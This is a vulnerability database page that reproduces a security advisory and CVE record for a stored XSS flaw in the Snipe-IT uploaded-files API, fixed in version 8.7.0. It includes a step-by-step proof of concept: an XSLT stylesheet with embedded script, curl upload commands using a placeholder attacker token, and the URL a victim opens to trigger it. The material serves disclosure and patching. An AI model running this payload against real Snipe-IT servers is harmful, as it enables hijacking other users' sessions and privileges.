Vulnerability-Lookup

GHSA-396X-XMVH-P563

Vulnerability from github – Published: 2026-09-24 18:19 – Updated: 2026-09-24 18:19

Summary

Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API

Details

Snipe-IT's uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it through xml-stylesheet. When another authorized user opens the XML file through the API with ?inline=true, the browser applies the attacker-controlled stylesheet, which produces HTML containing JavaScript in the Snipe-IT origin. This was reproduced against commit df8e3b144331d0c1cc14778f900e7646d1d9a509 (v8.6.3-231-gdf8e3b1443).

The attack requires an authenticated account with file access to at least one supported object and one victim interaction. Scope changes because attacker-controlled code executes in another user's Snipe-IT security context. The script can read same-origin data available to the victim and perform authenticated actions as that victim.

Affected Components

app/Http/Requests/UploadFileRequest.php Allows xml uploads through filesystems.allowed_upload_extensions_for_validator. Sanitizes only files detected as image/svg+xml. Both files in this proof of concept are detected by PHP finfo as text/xml, so they are stored unchanged.
config/filesystems.php Includes xml in allowed_upload_extensions_array.
app/Http/Controllers/Api/UploadedFilesController.php, method show() Honors the attacker-controlled inline=true query parameter for every uploaded file type. Calls Storage::download(..., ['Content-Disposition' => 'inline']) without calling StorageHelper::allowSafeInline().
routes/api.php Exposes the affected route as GET /api/v1/{object_type}/{id}/files/{file_id} for multiple object types.
app/Http/Middleware/SecurityHeaders.php The default CSP includes script-src 'self' 'unsafe-inline' 'unsafe-eval', so it does not mitigate the injected inline script. The non-API UploadedFilesController::show() already calls StorageHelper::allowSafeInline() before returning an inline response. The missing equivalent check in the API controller creates the vulnerable behavior. Root Cause

File validation treats XML as an allowed attachment format, but the API download path treats all accepted formats as safe active browser content. Extension allowlisting for upload is not equivalent to determining whether a response is safe to render inline. Laravel derives the response Content-Type from each stored file. It returns text/xml; charset=utf-8, while the controller overrides the normal attachment disposition with Content-Disposition: inline. Chromium processes the xml-stylesheet instruction, loads the second same-origin API attachment as XSLT, and executes script in the HTML document produced by the transform.

An attacker can execute arbitrary JavaScript in the Snipe-IT origin when a victim opens the malicious attachment URL. Depending on the victim's privileges, this can enable: - Reading same-origin pages and API responses available to the victim. - Performing state-changing actions with the victim's session and privileges. - Exposing sensitive asset, user, license, and configuration information. - Administrative account compromise when a superuser opens the attachment. - Cookies marked HttpOnly cannot be read directly, but this does not prevent same-origin authenticated requests or reading their responses.

Proof of Concept

Preconditions

Snipe-IT is installed with default XML upload support.
The attacker has an API token for a user permitted to manage files on a supported object.
The victim is authenticated and permitted to view files on that object.
Create the malicious XSLT file

Save the following as style.xml:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html>
      <head><title>BEFORE</title></head>
      <body>
        <div id="result">NOT_EXECUTED</div>
        <script>
          document.getElementById('result').textContent = 'XSS_EXECUTED';
          document.title = 'SNIPE_XSS';
        </script>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

PHP finfo identifies this file as text/xml, not image/svg+xml. 2. Upload the stylesheet through the API

Replace the base URL, token, object type, and object ID with values from the test instance:

curl -i \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  -F 'file[]=@style.xml;type=text/xml' \
  'https://snipe-it.example/api/v1/models/1/files'

Expected result: HTTP 200 and a successful upload response.

Obtain the stylesheet file ID

curl -s \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  'https://snipe-it.example/api/v1/models/1/files'

Read the style.xml upload's id from the response and call it STYLE_FILE_ID.

Create and upload the referencing XML document

Save this as data.xml, replacing STYLE_FILE_ID:

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="https://snipe-it.example/api/v1/models/1/files/STYLE_FILE_ID?inline=true"?>
<data>test</data>
PHP finfo also identifies this file as text/xml.
curl -i \
  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \
  -H 'Accept: application/json' \
  -F 'file[]=@data.xml;type=text/xml' \
  'https://snipe-it.example/api/v1/models/1/files'

List the files again and obtain the id of data.xml; call it DATA_FILE_ID.

Trigger the vulnerability

While authenticated in the Snipe-IT web interface as a victim who can view the object's files, open the following in the same browser. The normal Snipe-IT Passport cookie authenticates both same-origin API requests: https://snipe-it.example/api/v1/models/1/files/DATA_FILE_ID?inline=true Expected vulnerable response characteristics:

HTTP/1.1 200 OK
Content-Type: text/xml
Content-Disposition: inline
Content-Security-Policy: ...; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...

Browser result: the page title changes to SNIPE_XSS, and the displayed text changes from NOT_EXECUTED to XSS_EXECUTED.

Fixed

Fixed in https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284

Severity

8.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "snipe/snipe-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63498"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T18:19:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Snipe-IT\u0027s uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it through xml-stylesheet. When another authorized user opens the XML file through the API with ?inline=true, the browser applies the attacker-controlled stylesheet, which produces HTML containing JavaScript in the Snipe-IT origin.\nThis was reproduced against commit df8e3b144331d0c1cc14778f900e7646d1d9a509 (v8.6.3-231-gdf8e3b1443).\n\nThe attack requires an authenticated account with file access to at least one supported object and one victim interaction. Scope changes because attacker-controlled code executes in another user\u0027s Snipe-IT security context. The script can read same-origin data available to the victim and perform authenticated actions as that victim.\n\n### Affected Components\n\n- app/Http/Requests/UploadFileRequest.php\nAllows xml uploads through filesystems.allowed_upload_extensions_for_validator.\nSanitizes only files detected as image/svg+xml. Both files in this proof of concept are detected by PHP finfo as text/xml, so they are stored unchanged.\n- config/filesystems.php\nIncludes xml in allowed_upload_extensions_array.\n- app/Http/Controllers/Api/UploadedFilesController.php, method show()\nHonors the attacker-controlled inline=true query parameter for every uploaded file type.\nCalls Storage::download(..., [\u0027Content-Disposition\u0027 =\u003e \u0027inline\u0027]) without calling StorageHelper::allowSafeInline().\n- routes/api.php\nExposes the affected route as GET /api/v1/{object_type}/{id}/files/{file_id} for multiple object types.\n- app/Http/Middleware/SecurityHeaders.php\nThe default CSP includes script-src \u0027self\u0027 \u0027unsafe-inline\u0027 \u0027unsafe-eval\u0027, so it does not mitigate the injected inline script.\nThe non-API UploadedFilesController::show() already calls StorageHelper::allowSafeInline() before returning an inline response. The missing equivalent check in the API controller creates the vulnerable behavior.\nRoot Cause\n\nFile validation treats XML as an allowed attachment format, but the API download path treats all accepted formats as safe active browser content. Extension allowlisting for upload is not equivalent to determining whether a response is safe to render inline.\nLaravel derives the response Content-Type from each stored file. It returns text/xml; charset=utf-8, while the controller overrides the normal attachment disposition with Content-Disposition: inline. Chromium processes the xml-stylesheet instruction, loads the second same-origin API attachment as XSLT, and executes script in the HTML document produced by the transform.\n\n\nAn attacker can execute arbitrary JavaScript in the Snipe-IT origin when a victim opens the malicious attachment URL. Depending on the victim\u0027s privileges, this can enable:\n- Reading same-origin pages and API responses available to the victim.\n- Performing state-changing actions with the victim\u0027s session and privileges.\n- Exposing sensitive asset, user, license, and configuration information.\n- Administrative account compromise when a superuser opens the attachment.\n- Cookies marked HttpOnly cannot be read directly, but this does not prevent same-origin authenticated requests or reading their responses.\n\n## Proof of Concept\n\n### Preconditions\n\n- Snipe-IT is installed with default XML upload support.\n- The attacker has an API token for a user permitted to manage files on a supported object.\n- The victim is authenticated and permitted to view files on that object.\n\n\n1. Create the malicious XSLT file\n\nSave the following as style.xml:\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003cxsl:stylesheet version=\"1.0\"\n  xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\u003e\n  \u003cxsl:template match=\"/\"\u003e\n    \u003chtml\u003e\n      \u003chead\u003e\u003ctitle\u003eBEFORE\u003c/title\u003e\u003c/head\u003e\n      \u003cbody\u003e\n        \u003cdiv id=\"result\"\u003eNOT_EXECUTED\u003c/div\u003e\n        \u003cscript\u003e\n          document.getElementById(\u0027result\u0027).textContent = \u0027XSS_EXECUTED\u0027;\n          document.title = \u0027SNIPE_XSS\u0027;\n        \u003c/script\u003e\n      \u003c/body\u003e\n    \u003c/html\u003e\n  \u003c/xsl:template\u003e\n\u003c/xsl:stylesheet\u003e\n```\n\nPHP finfo identifies this file as `text/xml`, not `image/svg+xml`.\n2. Upload the stylesheet through the API\n\nReplace the base URL, token, object type, and object ID with values from the test instance:\n```\ncurl -i \\\n  -H \u0027Authorization: Bearer ATTACKER_API_TOKEN\u0027 \\\n  -H \u0027Accept: application/json\u0027 \\\n  -F \u0027file[]=@style.xml;type=text/xml\u0027 \\\n  \u0027https://snipe-it.example/api/v1/models/1/files\u0027\n```\n\nExpected result: HTTP 200 and a successful upload response.\n\n3. Obtain the stylesheet file ID\n\n```\ncurl -s \\\n  -H \u0027Authorization: Bearer ATTACKER_API_TOKEN\u0027 \\\n  -H \u0027Accept: application/json\u0027 \\\n  \u0027https://snipe-it.example/api/v1/models/1/files\u0027\n```\nRead the style.xml upload\u0027s id from the response and call it STYLE_FILE_ID.\n\n4. Create and upload the referencing XML document\n\nSave this as data.xml, replacing STYLE_FILE_ID:\n```\n\u003c?xml version=\"1.0\"?\u003e\n\u003c?xml-stylesheet type=\"text/xsl\" href=\"https://snipe-it.example/api/v1/models/1/files/STYLE_FILE_ID?inline=true\"?\u003e\n\u003cdata\u003etest\u003c/data\u003e\nPHP finfo also identifies this file as text/xml.\ncurl -i \\\n  -H \u0027Authorization: Bearer ATTACKER_API_TOKEN\u0027 \\\n  -H \u0027Accept: application/json\u0027 \\\n  -F \u0027file[]=@data.xml;type=text/xml\u0027 \\\n  \u0027https://snipe-it.example/api/v1/models/1/files\u0027\n```\n\nList the files again and obtain the id of data.xml; call it DATA_FILE_ID.\n\n5. Trigger the vulnerability\n\nWhile authenticated in the Snipe-IT web interface as a victim who can view the object\u0027s files, open the following in the same browser. The normal Snipe-IT Passport cookie authenticates both same-origin API requests:\n`https://snipe-it.example/api/v1/models/1/files/DATA_FILE_ID?inline=true`\nExpected vulnerable response characteristics:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/xml\nContent-Disposition: inline\nContent-Security-Policy: ...; script-src \u0027self\u0027 \u0027unsafe-inline\u0027 \u0027unsafe-eval\u0027; ...\n```\nBrowser result: the page title changes to SNIPE_XSS, and the displayed text changes from NOT_EXECUTED to XSS_EXECUTED.\n\n### Fixed\nFixed in https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284",
  "id": "GHSA-396x-xmvh-p563",
  "modified": "2026-09-24T18:19:38Z",
  "published": "2026-09-24T18:19:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-396x-xmvh-p563"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grokability/snipe-it"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/releases/tag/v8.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API"
}

CVE-2026-63498 (GCVE-0-2026-63498)

Vulnerability from cvelistv5 – Published: 2026-09-24 16:29 – Updated: 2026-09-24 16:29

Title

Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API

Summary

Snipe-IT is an IT asset/license management system. Prior to 8.7.0, the uploaded-files API endpoint GET /api/v1/{object_type}/{id}/files/{file_id} allows an authenticated user with file-management access to upload XML and XSLT attachments and request them with the inline=true parameter. The app/Http/Controllers/Api/UploadedFilesController.php show() path does not apply the safe-inline allowlist used by the equivalent web controller, so the browser can process an attacker-controlled xml-stylesheet reference and execute JavaScript generated by the stylesheet in the Snipe-IT origin. A victim who is authorized to view the object must open the attachment URL, after which the script can read same-origin data and perform authenticated actions with the victim's privileges. This issue is fixed in version 8.7.0.

Severity

8.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/grokability/snipe-it/security/…	x_refsource_CONFIRM
https://github.com/grokability/snipe-it/commit/e9…	x_refsource_MISC
https://github.com/grokability/snipe-it/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
grokability	snipe-it	Affected: < 8.7.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "snipe-it",
          "vendor": "grokability",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 8.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Snipe-IT is an IT asset/license management system. Prior to 8.7.0, the uploaded-files API endpoint GET /api/v1/{object_type}/{id}/files/{file_id} allows an authenticated user with file-management access to upload XML and XSLT attachments and request them with the inline=true parameter. The app/Http/Controllers/Api/UploadedFilesController.php show() path does not apply the safe-inline allowlist used by the equivalent web controller, so the browser can process an attacker-controlled xml-stylesheet reference and execute JavaScript generated by the stylesheet in the Snipe-IT origin. A victim who is authorized to view the object must open the attachment URL, after which the script can read same-origin data and perform authenticated actions with the victim\u0027s privileges. This issue is fixed in version 8.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-24T16:29:57.380Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/grokability/snipe-it/security/advisories/GHSA-396x-xmvh-p563",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-396x-xmvh-p563"
        },
        {
          "name": "https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284"
        },
        {
          "name": "https://github.com/grokability/snipe-it/releases/tag/v8.7.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/grokability/snipe-it/releases/tag/v8.7.0"
        }
      ],
      "source": {
        "advisory": "GHSA-396x-xmvh-p563",
        "discovery": "UNKNOWN"
      },
      "title": "Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-63498",
    "datePublished": "2026-09-24T16:29:57.380Z",
    "dateReserved": "2026-07-16T21:49:52.069Z",
    "dateUpdated": "2026-09-24T16:29:57.380Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted